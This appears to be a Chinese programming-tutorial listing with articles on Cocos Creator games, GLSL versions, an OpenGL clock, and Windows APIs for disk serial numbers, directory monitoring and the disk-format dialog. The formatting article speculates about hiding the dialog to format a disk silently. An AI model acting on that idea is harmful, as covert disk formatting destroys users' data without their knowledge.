分类

类型:
不限 游戏开发 计算机程序开发 Android开发 网站开发 笔记总结 其他
评分:
不限 10 9 8 7 6 5 4 3 2 1
原创:
不限
年份:
不限 2018 2019 2020

技术文章列表

  • 【Cocos Creator实战算法教程(2)】——get47 精华

    1. 规则
    游戏操作仿的是天天爱消除,点击一个方块向相邻的方块滑动就会交换两个方块
    当没有可移动的方块时,可以点击下面的update按钮
    横向相连的方块数字之和会增加分数,纵向相连的方块数字之和会减少分数
    最终目的就是get47

    2. 整体思路搭建游戏场景

    Tile就代表方块,TileLayout就是用来装Tile的,当然我们还是会在脚本里动态添加tile
    先来看一下Tile的脚本
    Tile.js
    cc.Class({ extends: cc.Component, properties: { pics:{ type:cc.SpriteFrame, default:[], }, _type:1, posIndex:cc.Vec, type:{ set:function(value){ this._type = value; this.node.getComponent(cc.Sprite).spriteFrame = this.pics[value-1]; }, get:function(){ return this._type; } }, isAlive:true }, onLoad: function () { this.initType(); }, initType:function(){ this.type = Math.floor(Math.random()*this.pics.length) + 1 ; },});
    这里有三个重要的属性,type,isAlive,posIndex,先记住它们
    再来看一下TileController的脚本的主要方法

    这几个方法里最核心的就是中间的三个:deleteTiles,fallTiles,addTiles
    顾名思义,

    deleTiles:删除相连接的方块
    fallTiles:deleTiles后会有一些空白,这时就需要把上面的方块落下来
    addTiles:fallTiles后上面就有一些空白,所以就要在上面填上新的方块

    3. 主要思路
    Tile里有一个posIndex,这个属性是用来标记tile的位置信息的,之所以要用一个属性来标记,而不是直接移动位置,是为了实现tile的动画效果,因为在fallTiles时,会有很多的tile同时落下,我们的做法是先把所有要下落的tile找出来,然后一起让他们执行动作:position=posIndex
    4. 总结这种消除类的游戏要注意判断游戏状态的结束,因为有连消的存在。
    本教程部分素材来源网络。
    1 留言 2018-12-03 23:29:47 奖励35点积分
  • 编程实现硬盘型号序列号固件版本号检测

    背景硬盘是计算机文件主要存储的地方,它和我们的生活息息相关。硬盘也有不同的生产厂商,为了能够区别每一块硬盘,所以,硬盘本身就会有型号、序列号、固件版本号等一些列的标识。
    本文主要讲解的就是编程实现,获取计算机硬盘的型号、序列号以及固件版本号的信息。现在,我把实现的过程整理成文档,分享给大家。
    函数介绍DeviceIoControl 函数
    将控制代码直接发送到指定的设备驱动程序,使相应的设备执行相应的操作。
    函数声明
    BOOL WINAPI DeviceIoControl( _In_ HANDLE hDevice, _In_ DWORD dwIoControlCode, _In_opt_ LPVOID lpInBuffer, _In_ DWORD nInBufferSize, _Out_opt_ LPVOID lpOutBuffer, _In_ DWORD nOutBufferSize, _Out_opt_ LPDWORD lpBytesReturned, _Inout_opt_ LPOVERLAPPED lpOverlapped);
    参数

    hDevice [in]要执行操作的设备的句柄。设备通常是卷,目录,文件或流。要检索设备句柄,请使用CreateFile函数。有关详细信息,请参阅备注。dwIoControlCode [in]操作的控制代码。此值标识要执行的具体操作和要执行该操作的设备类型。有关控制代码的列表,请参阅备注。每个控制代码的文档提供了lpInBuffer,nInBufferSize,lpOutBuffer和nOutBufferSize参数的使用细节。lpInBuffer [in,optional]指向输入缓冲区的指针,其中包含执行操作所需的数据。此数据的格式取决于dwIoControlCode参数的值。如果dwIoControlCode指定不需要输入数据的操作,则此参数可以为NULL。nInBufferSize [in]输入缓冲区的大小(以字节为单位)。lpOutBuffer [out,optional]指向要接收操作返回的数据的输出缓冲区的指针。此数据的格式取决于dwIoControlCode参数的值。如果dwIoControlCode指定不返回数据的操作,则此参数可以为NULL。nOutBufferSize [in]输出缓冲区的大小(以字节为单位)。lpBytesReturned [out,optional]指向一个变量的指针,该变量接收存储在输出缓冲区中的数据大小(以字节为单位)。如果输出缓冲区太小,无法接收任何数据,则调用失败,GetLastError返回ERROR_INSUFFICIENT_BUFFER,lpBytesReturned为零。lpOverlapped [in,out,optional]指向OVERLAPPED结构的指针。
    返回值

    如果操作成功完成,则返回值不为零。如果操作失败或待处理,返回值为零。 要获取扩展错误信息,请调用GetLastError。

    实现原理编程实现硬盘信息的获取,主要是通过 DeviceIoControl 发送控制码与物理设备进行交互,获取硬盘信息数据。具体的实现步骤如下所示:

    我们使用 CreateFile 打开物理设备,获取物理设备的句柄,好为接下来与设备进行数据交互。要注意的是物理设备的字符串\\\\.\\PHYSICALDRIVE的写法,不要写错了。
    然后,我们调用 DeviceIoControl 函数,传递 SMART_GET_VERSION 控制码,获取物理设备的版本信息、设备的位掩码和功能掩码。
    接着,我们根据设备的位掩码判断该设备是设备是 ATAPI 驱动器还是 ATA 驱动器。若是 ATAPI 驱动器的话,则接下来使用读取 ATAPI 设备的命令 0xA1 进行下面的操作;若是 ATA 驱动器的话,则接下来使用读取 ATA 设备的命令 0xEC 进行下面的操作。
    继续构造输入参数SENDCMDINPARAMS,调用 DeviceIoControl 函数,传递 SMART_RCV_DRIVE_DATA 控制码,获取硬盘数据信息。
    然后,我们从输出信息中,获取硬盘序列号数据,数据下标为 20-39;硬盘固件版本数据,数据下标为 46-53;硬盘型号数据,数据下标为 54-93。并对数据进行处理后输出显示。
    最后,关闭设备句柄,释放资源。

    经过上面 6 个步骤,我们便可以成功获取并显示硬盘信息了。
    编码实现// 获取硬盘信息BOOL GetDiskInfo(int iDriver){ char szFilePath[MAX_PATH] = { 0 }; HANDLE hDisk = NULL; DWORD dwBytesReturned = 0; GETVERSIONINPARAMS gvopVersionParam = { 0 }; BOOL bRet = FALSE; unsigned int uiIDCmd = 0; SENDCMDINPARAMS InParams = { 0 }; unsigned int uiDrive = 0; BYTE outBuffer[1024] = { 0 }; int i = 0; // 打开硬盘设备 ::wsprintf(szFilePath, "\\\\.\\PHYSICALDRIVE%d", iDriver); hDisk = ::CreateFile(szFilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (INVALID_HANDLE_VALUE == hDisk) { ShowError("CreateFile"); return FALSE; } // 发送控制代码到指定设备驱动程序, 返回版本信息,功能掩码和设备的位掩码 bRet = ::DeviceIoControl(hDisk, SMART_GET_VERSION, NULL, 0, &gvopVersionParam, sizeof(gvopVersionParam), &dwBytesReturned, NULL); if (FALSE == bRet) { ShowError("DeviceIoControl"); return FALSE; } // 设备的位掩码bIDEDeviceMap位4置为1的话, 该设备是ATAPI驱动器,它是主通道上的主设备 if (0x10 & gvopVersionParam.bIDEDeviceMap) { // 读取ATAPI设备的命令 uiIDCmd = IDE_ATAPI_IDENTIFY; } else { // 读取ATA设备的命令 uiIDCmd = IDE_ATA_IDENTIFY; } // 设置输入 SENDCMDINPARAMS 输入参数 InParams.cBufferSize = IDENTIFY_BUFFER_SIZE; InParams.irDriveRegs.bFeaturesReg = 0; InParams.irDriveRegs.bSectorCountReg = 1; InParams.irDriveRegs.bSectorNumberReg = 1; InParams.irDriveRegs.bCylLowReg = 0; InParams.irDriveRegs.bCylHighReg = 0; InParams.irDriveRegs.bDriveHeadReg = (uiDrive & 1) ? 0xB0 : 0xA0; InParams.irDriveRegs.bCommandReg = uiIDCmd; InParams.bDriveNumber = uiDrive; // 发送控制代码到指定设备驱动程序, 获取硬盘数据信息 bRet = ::DeviceIoControl(hDisk, SMART_RCV_DRIVE_DATA, (LPVOID)(&InParams), sizeof(SENDCMDINPARAMS), (LPVOID)outBuffer, 1024, &dwBytesReturned, NULL); if (FALSE == bRet) { ShowError("DeviceIoControl"); return FALSE; } // 硬盘中的序列号, 型号, 固件版本号 的数据是前后两个字节内容是颠倒的, 所以要转换为正常的顺序 // 获取序列号, 下标20-39 printf("序列号:"); for (i = 20; i < 40; i = i + 2) { printf("%c%c", ((SENDCMDOUTPARAMS *)outBuffer)->bBuffer[i + 1], ((SENDCMDOUTPARAMS *)outBuffer)->bBuffer[i]); } printf("\n"); // 获取固件版本号, 下标46-53 printf("固件版本号:"); for (i = 46; i < 54; i = i + 2) { printf("%c%c", ((SENDCMDOUTPARAMS *)outBuffer)->bBuffer[i + 1], ((SENDCMDOUTPARAMS *)outBuffer)->bBuffer[i]); } printf("\n"); // 获取型号, 下标54-93 printf("型号:"); for (i = 54; i < 94; i = i + 2) { printf("%c%c", ((SENDCMDOUTPARAMS *)outBuffer)->bBuffer[i + 1], ((SENDCMDOUTPARAMS *)outBuffer)->bBuffer[i]); } printf("\n"); // 关闭设备 ::CloseHandle(hDisk); return TRUE;}
    程序测试我们直接以管理员权限运行程序,程序提示运行成功,并能正确读取计算机上硬盘的信息:

    总结这个程序需要注意下面两点:

    一是,程序需要管理员权限才能正常运行。因为我们使用 CreateFile 打开物理设备,这个操作就需要管理员权限或者管理员以上的权限运行,否则会因权限不足而操作失败,获取不到物理设备句柄。
    二是,当我们获取到硬盘数据的时候,并不能直接从中读取序列号、固件版本号、型号的信息,需要我们进行下转换。因为,硬盘存储的数据和我们正常读取的数据不一样,硬盘中的序列号、固件版本号、型号的数据前后两个字节内容是颠倒的,所以,显示输出的时候,我们要对它前后两字节颠倒输出。

    参考参考自《Windows黑客编程技术详解》一书
    1 留言 2018-12-03 19:45:00 奖励20点积分
  • 使用ReadDirecotryChangesW函数实现文件监控

    背景在我没有了解 ReadDirecotryChangesW 这个目录监控函数之前,一直认为要想实现计算机上的文件监控,能够监控计算机上每个文件的改动,是一件极其困难的事情,曾经自己也细想过,但都没有什么好的思绪。不过,事实上,文件监控的确是一件比较复杂的事情。好在Windows为我们提供了一个功能强大,但是使用较为方便的函数接口,这边是我们这篇文章要讲解的 ReadDirecotryChangesW 函数。
    使用 ReadDirecotryChangesW 函数,可以实现对目录及其目录中文件的实时监控,可以有效地发现文件被改动的情况。现在,我就把这个文件监控小程序实现的原理及其过程整理成文档,分享给大家。
    函数声明ReadDirecotryChangesW 函数
    检索描述指定目录中更改的信息,但不会报告对指定目录本身的更改。
    函数声明
    BOOL WINAPI ReadDirectoryChangesW( _In_ HANDLE hDirectory, _Out_ LPVOID lpBuffer, _In_ DWORD nBufferLength, _In_ BOOL bWatchSubtree, _In_ DWORD dwNotifyFilter, _Out_opt_ LPDWORD lpBytesReturned, _Inout_opt_ LPOVERLAPPED lpOverlapped, _In_opt_ LPOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine);
    参数

    hDirectory [in]要监视的目录的句柄。必须使用FILE_LIST_DIRECTORY访问权限打开此目录。
    lpBuffer [out]指向要读取结果的DWORD对齐的格式化缓冲区的指针。该缓冲区的结构由FILE_NOTIFY_INFORMATION结构定义。这个缓冲区可以同步或异步地进行填充,这取决于目录的打开方式以及给予lpOverlapped参数的值。有关详细信息,请参阅备注部分。
    nBufferLength [in]lpBuffer参数指向的缓冲区的大小(以字节为单位)。
    bWatchSubtree [in]如果此参数为TRUE,则该函数将监视以指定目录为根的目录树。如果此参数为FALSE,则该功能仅监视hDirectory参数指定的目录。
    dwNotifyFilter [in]函数检查以确定等待操作是否已满足过滤条件。此参数可以是以下值中的一个或多个:




    VALUE
    MEANING




    FILE_NOTIFY_CHANGE_FILE_NAME
    监视目录或子树中的任何文件名更改导致更改通知等待操作返回。 更改包括重命名,创建或删除文件


    FILE_NOTIFY_CHANGE_DIR_NAME
    监视目录或子树中的任何目录名更改导致更改通知等待操作返回。 更改包括创建或删除目录


    FILE_NOTIFY_CHANGE_ATTRIBUTES
    监视目录或子树中的任何属性更改导致更改通知等待操作返回


    FILE_NOTIFY_CHANGE_SIZE
    被监视目录或子树中的任何文件大小更改导致更改通知等待操作返回。 仅当文件写入磁盘时,操作系统才能检测文件大小的更改。 对于使用大量缓存的操作系统,仅当高速缓存充分刷新时才会发生检测


    FILE_NOTIFY_CHANGE_LAST_WRITE
    对监视目录或子树中文件的上次写入时间的任何更改都会导致更改通知等待操作返回。 只有当文件写入磁盘时,操作系统才会检测到最后写入时间的更改。 对于使用大量缓存的操作系统,仅当高速缓存充分刷新时才会发生检测


    FILE_NOTIFY_CHANGE_LAST_ACCESS
    对监视目录或子树中文件的最后访问时间的任何更改都会导致更改通知等待操作返回


    FILE_NOTIFY_CHANGE_CREATION
    对被监视目录或子树中的文件的创建时间的任何更改都会导致更改通知等待操作返回


    FILE_NOTIFY_CHANGE_SECURITY
    监视目录或子树中的任何安全描述符更改导致更改通知等待操作返回




    lpBytesReturned [out,optional]对于同步调用,此参数接收传输到lpBuffer参数的字节数。 对于异步调用,此参数未定义。 您必须使用异步通知技术来检索传输的字节数。
    lpOverlapped [in,out,optional]指向OVERLAPPED结构的指针,提供在异步操作期间要使用的数据。 否则,此值为NULL。 该结构的Offset和OffsetHigh成员未被使用。
    lpCompletionRoutine [in,optional]指向完成例程的指针,当操作已经完成或取消并且调用线程处于可警告的等待状态时被调用。 有关此完成例程的更多信息,请参阅FileIOCompletionRoutine。

    返回值

    如果函数成功,则返回值不为零。 对于同步调用,这意味着操作成功。 对于异步调用,这表示操作成功排队。如果函数失败,返回值为零。 要获取扩展错误信息,请调用GetLastError。

    实现过程1. 打开目录,获取文件句柄首先,我们需要根据目录路径,调用 CreateFile 函数来打开目录,获取文件句柄,因为下面的调用的 ReadDirecotryChangesW 函数需要用到这个文件句柄。根据上面函数介绍,文件句柄必须要有 FILE_LIST_DIRECTORY 权限,所以要创建 FILE_LIST_DIRECTORY 权限的文件句柄。而且,要获取目录的句柄,需要以 FILE_FLAG_BACKUP_SEMANTICS 为标志调用 CreateFile 函数。同时要注意目录路径,最后是反斜杠\:
    // 打开目录, 获取文件句柄 HANDLE hDirectory = ::CreateFile( pszDirectory, FILE_LIST_DIRECTORY, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); if (INVALID_HANDLE_VALUE == hDirectory) { ShowError("CreateFile"); return 1; }
    2. 设置目录监控然后,我们可以调用 ReadDirecotryChangesW 函数设置目录监控。其中,第 1 个参数表示监控目录句柄;第 2 个参数表示输出缓冲区;第 3 个参数表示输出缓冲区大小;第 4 个参数表示是否监控指定目录下的文件及其子目录下的文件,TRUE,则监控,FALSE则表示只监控指定目录下的文件;第 5 个参数表示操作过滤,本文只监控文件名更改、属性更改以及最后一次写入更改操作;第 6 个参数表示返回缓冲区的字节数;第 7 、第 8 个参数为NULL。
    // 设置监控目录 bRet = ::ReadDirectoryChangesW(hDirectory, pFileNotifyInfo, dwBufferSize, TRUE, FILE_NOTIFY_CHANGE_FILE_NAME | FILE_NOTIFY_CHANGE_ATTRIBUTES | FILE_NOTIFY_CHANGE_LAST_WRITE, &dwRet, NULL, NULL); if (FALSE == bRet) { ShowError("ReadDirectoryChangesW"); break; }
    3. 判断文件操作类型并将宽字节文件名字符串转成多字节字符串表示只要有满足设置条件的文件操作,ReadDirectoryChangesW 立马返回信息,并将返回的信息返回到输出缓冲区中,返回数据是按 FILE_NOTIFY_INFORMATION 结构返回的,所以,我们直接按照 FILE_NOTIFY_INFORMATION 结构解析数据。在 FILE_NOTIFY_INFORMATION 结构中,4字节整型变量 Action 表示操作类型,宽字节字符串变量 FileName 表示更改文件的文件名。
    // 将宽字符转换成窄字符 W2C((wchar_t *)(&pFileNotifyInfo->FileName), pFileNotifyInfo->FileNameLength, szTemp, MAX_PATH); // 判断操作类型并显示 switch (pFileNotifyInfo->Action) { case FILE_ACTION_ADDED: { // 新增文件 printf("[File Added Action]%s\n", szTemp); break; } default: { break; }
    其中,我们是调用 WideCharToMultiByte 函数,将宽字节字符串转为多字节字符串。
    获取了一个文件操作之后,还要继续循环设置。如此,才能获取下一个文件操作。到此,我们监控文件操作原理就结束了。
    由于目录监控是需要不停循环调用 ReadDirecotryChangesW 函数进行设置的,所以,如果把这段代码放在主线程,可能会导致程序卡住,所以,我们可以创建一个文件监控的多线程,把文件监控这部分的实现代码放到多线程中,就可以解决主线程阻塞的问题。
    // 创建文件监控多线程 ::CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorFileThreadProc, pszDirectory, 0, NULL);
    编码实现宽字节文件名字符串转成多字节字符串// 宽字节字符串转多字节字符串void W2C(wchar_t *pwszSrc, int iSrcLen, char *pszDest, int iDestLen){ ::RtlZeroMemory(pszDest, iDestLen); // 宽字节字符串转多字节字符串 ::WideCharToMultiByte(CP_ACP, 0, pwszSrc, (iSrcLen / 2), pszDest, iDestLen, NULL, NULL);}
    文件监控// 目录监控多线程UINT MonitorFileThreadProc(LPVOID lpVoid){ char *pszDirectory = (char *)lpVoid; // 打开目录, 获取文件句柄 HANDLE hDirectory = ::CreateFile(pszDirectory, FILE_LIST_DIRECTORY, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); if (INVALID_HANDLE_VALUE == hDirectory) { ShowError("CreateFile"); return 1; } char szTemp[MAX_PATH] = { 0 }; BOOL bRet = FALSE; DWORD dwRet = 0; DWORD dwBufferSize = 2048; // 申请一个足够大的缓冲区 BYTE *pBuf = new BYTE[dwBufferSize]; if (NULL == pBuf) { ShowError("new"); return 2; } FILE_NOTIFY_INFORMATION *pFileNotifyInfo = (FILE_NOTIFY_INFORMATION *)pBuf; // 开始循环设置监控 do { ::RtlZeroMemory(pFileNotifyInfo, dwBufferSize); // 设置监控目录 bRet = ::ReadDirectoryChangesW(hDirectory, pFileNotifyInfo, dwBufferSize, TRUE, FILE_NOTIFY_CHANGE_FILE_NAME | FILE_NOTIFY_CHANGE_ATTRIBUTES | FILE_NOTIFY_CHANGE_LAST_WRITE, &dwRet, NULL, NULL); if (FALSE == bRet) { ShowError("ReadDirectoryChangesW"); break; } // 将宽字符转换成窄字符 W2C((wchar_t *)(&pFileNotifyInfo->FileName), pFileNotifyInfo->FileNameLength, szTemp, MAX_PATH); // 判断操作类型并显示 switch (pFileNotifyInfo->Action) { case FILE_ACTION_ADDED: { // 新增文件 printf("[File Added Action]%s\n", szTemp); break; } default: { break; } } } while (bRet); // 关闭句柄, 释放内存 ::CloseHandle(hDirectory); delete[] pBuf; pBuf = NULL; return 0;}
    程序测试现在,根据上面的实现原理,我们将开发好的程序直接运行。本文的例子,是监控”C:\\Users\\DemonGan\\Desktop\\temp\\“目录的文件增加情况。所以,我们复制一个文件到在此目录下,程序成功实时显示目录中的变化信息:

    总结这个程序在普通权限下就可以顺利执行,监控指定目录的文件。但是,需要特别注意一点就是,在使用 CreateFile 函数打开监控目录获取文件句柄的时候,文件目录路径字符串必须要在末尾加上反斜杠‘\’,例如C盘下的Windows目录,要写成“C:\\Windows\\”,不要写成“C:\\Windows”,这样会出错的!所以,一定要注意是以反斜杠‘\’作为结尾。
    而且目录监控的时候,是循环调用 ReadDirectoryChangesW 函数进行设置监控的,所以如果把它放在主线程上,会导致进程卡住,我们可以创建一个监控多线程,把监控部分的代码放到多线程上面去。
    参考参考自《Windows黑客编程技术详解》一书
    1 留言 2018-12-02 09:30:15 奖励10点积分
  • 【Cocos Creator实战教程(11)】——跨场景访问节点 精华

    1. 相关知识点从这节课开始,我们就要回到之前制作的游戏上了。还记得之前做的菜单场景吗?

    中间有一个记录的label我们一直没理她,今天我们就来翻她的牌子
    我们每次游戏结束时都会有一个分数,这个分数变量在相应的游戏场景里,我们想要的效果时:当返回菜单时,我们要把这个分数变量带回来,但当场景销毁时,其中的所有节点都会随之消失
    这里就要引出另一个重要的知识点,同学们拿笔记一下(没带笔的前后桌借一下)
    不会跟随场景销毁的节点——常驻节点
    2. 步骤我们回到第一个Load场景,添加一个根节点(必须是根节点哦)Record

    编写脚本Record.js
    cc.Class({ extends: cc.Component, properties: { bestRunScore: 0, bestJumpScore: 0, }, onLoad: function () { cc.game.addPersistRootNode(this.node); var bestRunScore = cc.sys.localStorage.getItem("bestRunScore"); if(bestRunScore){ this.bestRunScore = bestRunScore; } var bestJumpScore = cc.sys.localStorage.getItem("bestJumpScore"); if(bestRunScore){ this.bestJumpScore = bestJumpScore; } }, updateRunScore: function(score){ if(score > this.bestRunScore){ this.bestRunScore = score; } }, updateJumpScore: function(score){ if(score > this.bestJumpScore){ this.bestJumpScore = score; } }, save(){ cc.sys.localStorage.setItem('bestRunScore', this.bestRunScore); cc.sys.localStorage.setItem('bestJumpScore', this.bestJumpScore); },});
    我们在onLoad方法里将Record节点变成游戏的常驻节点
    cc.game.addPersistRootNode(this.node);
    销毁的方法是
    cc.game.removePersistRootNode(node);
    游戏中的常驻节点,在切换场景时不会销毁,所以我们可以把一些需要跨场景访问的方法和变量添加到常驻节点的脚本里
    我们切换到Menu场景,惊奇的发现,那个常驻节点Record并没有出现!

    这是因为常驻节点只是逻辑上的,并不会在其他场景层级管理器里出现,这就要用另一个找节点的方法了
    cc.find();
    接着我们修改两个Game的stopGame方法
    Game.js
    stopGame: function(){ cc.director.getCollisionManager().enabled = false; this.gameOverMenu.active = true; this.overScore.string = this.score+"m"; //存储数据 cc.find("Record").getComponent("Record").updateRunScore(this.score);},
    Game2.js
    stopGame: function(){ cc.director.getCollisionManager().enabled = false; this.gameOverMenu.getChildByName('OverScore').getComponent(cc.Label).string = this.score; this.gameOverMenu.active = true; //存储数据 cc.find("Record").getComponent("Record").updateJumpScore(this.score);},
    3. 总结跨场景访问节点主要用于保存游戏状态,所以很多时候要配合着存储数据使用。下节课我们就来介绍存储数据,不见不散~~
    本教程部分资源来源于网络。
    1 留言 2018-12-01 16:49:18 奖励25点积分
  • GLSL版本的区别和对比

    之前在做后台渲染引擎的编译时,尝试将一个GLSL version 110的版本写成GLSL version 330的,在此将学习过程和收获记录下来。
    介绍你可以使用#version命令作为着色器的第一行来指定GLSL版本:
    version 120void main() { gl_FragColor = vec4(1.0);}
    GLSL版本与GL版本一起发布。 请参阅以下图表以确定要定位的版本。GLSL版本
    GLSL ES版本 (Android, iOS, WebGL) OpenGL ES有自己的着色语言,而且版本开始变得新鲜。它是基于OpenGL着色语言版本1.10。
    所以,例如,如果GLSL 120中有一个功能,它可能在GLSL ES 100中不可用,除非ES编译器特别允许它。
    一些差异(桌面)GLSL版本之间的差异。
    版本 100定点着色器:
    uniform mat4 projTrans;attribute vec2 Position;attribute vec2 TexCoord;varying vec2 vTexCoord;void main() { vTexCoord = TexCoord; gl_Position = u_projView * vec4(Position, 0.0, 1.0);}
    片段(片元)着色器:
    uniform sampler2D tex0;varying vec2 vTexCoord;void main() { vec4 color = texture2D(tex0, vTexCoord); gl_FragColor = color;}
    版本 330从GLSL 130+开始,使用in和out代替属性和变化。 GLSL 330+包括其他功能,如布局限定符和将texture2D更改为纹理。
    顶点着色器
    #version 330uniform mat4 projTrans;layout(location = 0) in vec2 Position;layout(location = 1) in vec2 TexCoord;out vec2 vTexCoord;void main() { vTexCoord = TexCoord; gl_Position = u_projView * vec4(Position, 0, 1);}
    片段(片元)着色器:
    #version 330uniform sampler2D tex0;in vec2 vTexCoord;//使用你自己的输出从而替代 gl_FragColor out vec4 fragColor;void main() { //'texture' 替代 'texture2D' fragColor = texture(tex0, vTexCoord);}
    其他重大的变化GLSL 120 增加1,你可以在着色器中初始化数组,如下所示:
    float a[5] = float[5](3.4, 4.2, 5.0, 5.2, 1.1);float b[5] = float[](3.4, 4.2, 5.0, 5.2, 1.1);
    然而,即使使用GLSL 120,Mac OSX Snow Leopard也不支持上述功能。
    2,你可以在着色器中初始化全局变量,并且值将在链接时设置:
    uniform float val = 1.0;
    3,在设置const值时,可以使用像sin()这样的内置函数;
    4,必要时,整数会隐式转换为浮点数,例如:
    float f = 1.0; <-- validfloat g = 1; <-- only supported in GLSL 120vec2 v = vec2(1, 2.0); <-- only supported in GLSL 120
    5,你可以用f来定义一个浮点数:float f = 2.5f。
    GLSL 130 增加1,支持int和uint(以及它们的按位操作);
    2,支持switch语句;
    3,新的内置函数:trunc(),round(),roundEven(),isnan(),isinf(),modf();
    4,片段输出可以是用户定义的;
    5,输入和输出用in和out语法声明,替代属性和变化。
    GLSL 150 增加1,现在应该使用texture(),替代texture2D()。
    GLSL330 增加1,布局限定符可以声明顶点着色器输入和片段着色器输出的位置,例如:
    layout(location = 2) in vec3 values[4];
    形式上这只能通过ARB_explicit_attrib_location扩展来实现。
    注意1,uniform在图形学中可以理解为全局变量,如果varying修饰的跟cg一样都是函数参数,会很好理解;2,片段和片元其实都指的是一个fragment;3,vertex和point两个意思有时候不一样,前一个指定点、端点,后一个指“单纯的一个”点。
    1 留言 2018-11-18 20:54:27 奖励10点积分
  • 使用SHFormatDrive函数实现格式化磁盘

    背景某天,无意中在网上搜索资料的时候,看到一篇帖子,就是将如何编程实现格式化操作的。我便看了下,原来调用的是 SHFormatDrive 函数实现的。和我们选中磁盘驱动器,鼠标右击选择“格式化(A)…”弹出来的格式化窗口是同一个。也就是说,SHFormatDrive 实现的就是我们选中磁盘,点击格式化操作的过程,并不能实现静默格式化磁盘。
    好吧,确实让你失望了,我们这篇文章还是讲解下 SHFormatDrive 函数的使用,实现弹出格式化窗口的操作。对于静默格式化,目前我没有深究过。但是,我也想到一种感觉或许可行的静默实现思路,就是隐藏弹出的格式化的选择窗口,然后发送开始格式化的消息给隐藏的窗口,这样,就可以静静地进行格式化操作了。不过这个方法我没有试过,等以后闲来无事而且想深究的时候,我再试吧。
    现在,我就把 SHFormatDrive 实现有弹窗格式化磁盘的过程整理成文档,分享给大家。
    函数介绍SHFormatDrive 函数
    打开Shell的格式化对话框。
    函数声明
    DWORD SHFormatDrive( _In_ HWND hwnd, UINT drive, UINT fmtID, UINT options);
    参数

    hwnd [in]对话框的父窗口的句柄。格式对话框必须有父窗口,因此,此参数不能为NULL。driver驱动器格式化。该参数的值表示从 A 开始为 0 的字母驱动器。例如,值 2 代表C:驱动器。fmtID物理格式的ID。目前仅定义了:SHFMT_ID_DEFAULT(0xFFFF),表示默认格式ID。options此值必须为 0 或以下值之一才能更改对话框中的默认格式选项。该值被视为一个位域,应该相应地对待。SHFMT_OPT_FULL(0x0001):如果设置了此标志,则选择快速格式选项。SHFMT_OPT_SYSONLY(0x0002):选择创建MS-DOS启动磁盘选项,创建一个系统引导磁盘。
    返回值

    返回上一个成功格式的格式ID或以下值之一。 该值的LOWORD可以作为fmtID参数在后续调用中传递,以重复最后一个格式。



    VALUE
    MEANING




    SHFMT_ERROR
    最后一个格式出现错误。 这不表示驱动器是不可格式化的


    SHFMT_CANCEL
    最后一个格式被取消


    SHFMT_NOFORMAT
    驱动器无法格式化




    实现过程由上述的函数介绍中,我们知道,SHFormatDrive 的第一个参数是要关联一个窗口的句柄,而且这个参数不能为NULL。所以,这需要获取我们程序窗口的句柄,传递给它。本文给的例子程序,是一个控制台程序,所以,我们可以调用WIN32 API函数 GetConsoleWindow 获取当前控制台程序的窗口句柄。
    // 获取控制台程序窗口句柄 HWND hWnd = ::GetConsoleWindow();
    然后,我们就可以大胆地调用 SHFormatDrive 函数打开指定驱动器的格式化窗口了。其中,第 1 个参数表示关联窗口的窗口句柄;第 2 个参数表示要格式化的驱动器,该参数的值是以大写字母 A 开始为 0 的驱动器;第 3 个参数目前只有一个固定的值SHFMT_ID_DEFAULT,表示默认格式ID;第 4 个参数可以设置格式化对话框的格式化选项。
    ::SHFormatDrive(hParentWnd, (cDriverName - 'A'), SHFMT_ID_DEFAULT, 0);
    编码实现导入库文件#include <ShlObj.h>#pragma comment(lib, "Shell32.lib")
    格式化操作BOOL FormatDriver(HWND hParentWnd, char cDriverName){ ::SHFormatDrive(hParentWnd, (cDriverName - 'A'), SHFMT_ID_DEFAULT, 0); return TRUE;}
    程序测试我们运行程序,程序成功弹窗格式化E盘的格式化窗口。

    总结这个功能实现,关键是对 SHFormatDrive 函数的理解。大家在编码实现之前,可以先仔细阅读函数介绍部分的内容,这样,在调用 SHFormatDrive 函数的时候,就可以做到知其然,知其所以然了。
    参考参考自《Windows黑客编程技术详解》一书
    1 留言 2018-11-29 18:54:53 奖励10点积分
  • 用OpenGL实现动态的立体时钟

    (在学期末做的图形学课程设计,特将学习心得整理如下)
    一、设计思路
    设计一个平面的时钟

    按照 钟面——>中心点——>刻度——>时针——>分针——>秒针 的顺序绘制
    利用纹理贴图的知识使平面时钟变成立体的时钟
    设置键盘交互
    测试,修改,整理代码

    二、部分代码设计1,键盘交互
    void keyboard(unsigned char key, int x, int y){ switch (key) { case 'x': //当按下键盘上d时,以沿X轴旋转为主 xrot += 6.0f; //设置旋转增量 glutPostRedisplay(); //重绘函数 break; case 'y': yrot += 6.0f; glutPostRedisplay(); break; case 'z': zrot += 6.0f; glutPostRedisplay(); break; default: break; }}
    2,时针绘制(秒针、分针类似)
    float Myhour(struct tm *ptr){ if (0 < ptr->tm_hour&&ptr->tm_hour < 12) { return((Pi / 2) - ((float)ptr->tm_hour + Mymin(ptr) / 60.0) / 12.0 * 2 * Pi); } else{ return((Pi / 2) - ((ptr->tm_hour - 12.0 + Mymin(ptr) / 60.0) / 12) * 2 * Pi); }} glLineWidth(5.0f); //设置线的宽度 glColor4f(1.0, 0.0, 1.0, 0.5); //洋红色 glBegin(GL_LINES); //画线函数 glRotatef((angle / 3600.0), 0.0, 0.0, 1.0); glVertex2f(0.0, 0.0); glVertex2f(cos(Myhour(ptr))*R*0.55, sin(Myhour(ptr))*R*0.55); glEnd();
    3,纹理贴图
    请参照这篇文章:用OpenGL进行立方体表面纹理贴图
    三、完整代码如下Github地址
